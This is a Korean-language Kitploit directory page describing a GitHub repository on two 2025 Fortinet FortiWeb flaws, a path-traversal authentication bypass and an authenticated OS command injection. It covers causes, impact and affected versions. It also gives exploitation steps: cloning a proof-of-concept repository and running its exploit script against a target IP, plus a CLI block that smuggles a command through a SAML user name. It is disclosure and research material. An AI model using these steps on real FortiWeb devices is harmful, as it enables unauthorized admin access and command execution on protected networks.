Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
fortinet-fortiweb-cve-2025-64446-58034 — Fortinet FortiWeb 취약점에 대한 보안 연구 (CVE-2025-64446, CVE-2025-58034) | Kitploit
도구/GitHubGitHub/lequoca/fortinet-fortiweb-cve-2025-64446-58034
Authentication & AuthorizationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and Control
GitHublequoca/fortinet-fortiweb-cve-2025-64446-58034

fortinet-fortiweb-cve-2025-64446-58034

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Fortinet FortiWeb 취약점에 대한 보안 연구 (CVE-2025-64446, CVE-2025-58034)

저장소 보기
1710개월 전아직 검토되지 않음

Fortinet FortiWeb 취약점 (CVE-2025-64446, CVE-2025-58034) 이해하기

1. 개요

Fortinet FortiWeb은 기업 시스템에서 널리 배포되어 웹 애플리케이션을 일반적인 위협으로부터 보호하는 WAF(Web Application Firewall) 장비입니다.

FortiWeb은 일반적으로 중앙 보호 계층에 위치하므로, 인증 또는 OS 명령 실행과 관련된 취약점은 백엔드 인프라 전체에 심각한 영향을 미칠 수 있습니다. 2025년에 FortiWeb에서 두 가지 심각한 취약점이 공개되었습니다:

  • CVE-2025-64446 – 상대 경로 탐색을 통한 인증 우회

  • CVE-2025-58034 – 인증된 컨텍스트에서의 OS 명령 삽입

  • 2. CVE-2025-64446 개요

2.1 취약점 유형

  • 상대 경로 탐색
  • 인증 우회

2.2 취약점 존재 원인

CVE-2025-64446은 FortiWeb이 인증 메커니즘을 적용하기 전에 액세스 경로를 처리하고 검사하는 방식이 엄격하지 않기 때문에 발생합니다.

구체적으로:

  • 논리적 경로 문자열 기반 액세스 제어 메커니즘
  • 전체 경로 정규화(normalize) 미수행
  • 내부 리소스에 액세스하기 위해 상대 경로 사용 허용

이러한 오류로 인해 일부 관리 엔드포인트가 유효한 인증 없이 액세스될 수 있습니다.

2.3 보안 영향

  • 인증 메커니즘 완전 우회
  • 관리 기능에 대한 무단 액세스
  • 보안 장비의 권한 모델 붕괴

2.4 영향을 받는 버전

  • FortiWeb 8.0.0 – 8.0.1
  • FortiWeb 7.6.0 – 7.6.4
  • FortiWeb 7.4.0 – 7.4.9
  • FortiWeb 7.2.0 – 7.2.11
  • FortiWeb 7.0.0 – 7.0.11

3. CVE-2025-58034 개요

3.1 취약점 유형

  • OS Command Injection (CWE-78)

3.2 취약점 존재 원인

CVE-2025-58034는 FortiWeb이 OS 명령을 호출하는 과정에서 사용자 입력 데이터를 안전하지 않게 처리하기 때문에 발생합니다.

주요 원인은 다음과 같습니다:

  • 입력 매개변수가 엄격하게 검사되지 않음
  • 특수 문자 필터링 또는 이스케이프 메커니즘 부족
  • 사용자 데이터가 시스템 명령어로 직접 전달됨

이 취약점은 인증된 컨텍스트를 필요로 하지만, 명령 실행과 관련되어 있어 여전히 높은 위험 수준을 가지고 있습니다.

3.3 보안 영향

  • 의도하지 않은 OS 명령 실행
  • 시스템 리소스 액세스 및 조작
  • 장비의 무결성 및 가용성에 영향

3.4 영향을 받는 버전

  • FortiWeb 8.0.0 – 8.0.1
  • FortiWeb 7.6.0 – 7.6.5
  • FortiWeb 7.4.0 – 7.4.10
  • FortiWeb 7.2.0 – 7.2.11
  • FortiWeb 7.0.0 – 7.0.11

4. 익스플로잇 방법 (사용 가능한 PoC 참조 - CVE-2025-64446)

4.1 리포지토리 클론 (소스 코드 다운로드)

git clone https://github.com/lincemorado97/CVE-2025-64446_CVE-2025-58034 cd CVE-2025-64446_CVE-2025-58034

4.2 가상 환경 설정 (venv)

Python 가상 환경(venv)은 각 프로젝트에 대해 독립적인 작업 환경을 생성하여 주요 Python 시스템에서 종속 라이브러리를 분리하는 데 사용됩니다. 이는 라이브러리 버전 충돌을 방지하고, 작업 환경의 안정성을 보장하며, 시스템에 미치는 영향을 최소화하는 데 도움이 됩니다.

python3 -m venv venv source venv/bin/activate

4.3 종속 소프트웨어 설치:

pip install -r requirements.txt

4.4 전체 익스플로잇 실행

python exploit.py <target_ip> image image image

5. CLI 명령을 사용한 CVE-2025-58034 익스플로잇 (인증 후 FortiWeb CLI에서 실행)

config user saml-user

edit "<YOUR COMMAND>"

set entityID http://foo

set service-path /foo

set enforce-signing disable

set slo-bind post

set slo-path /foo

set sso-bind post

set sso-path /foo

end

CVE-2025-58034 취약점은 FortiWeb이 일부 구성 필드, 특히 다음 명령을 통해 전달된 값을 엄격하게 제어하지 않기 때문에 발생합니다: edit "" 문제: 이 값이 구성 문자열로 처리됨 이후 내부 OS 명령에 포함됨 특수 문자가 충분히 필터링 또는 이스케이프되지 않음 이로 인해 구성 데이터가 실행되는 OS 명령에 직접 영향을 미칠 수 있어 OS 명령 삽입 취약점이 발생합니다.

도구 다운로드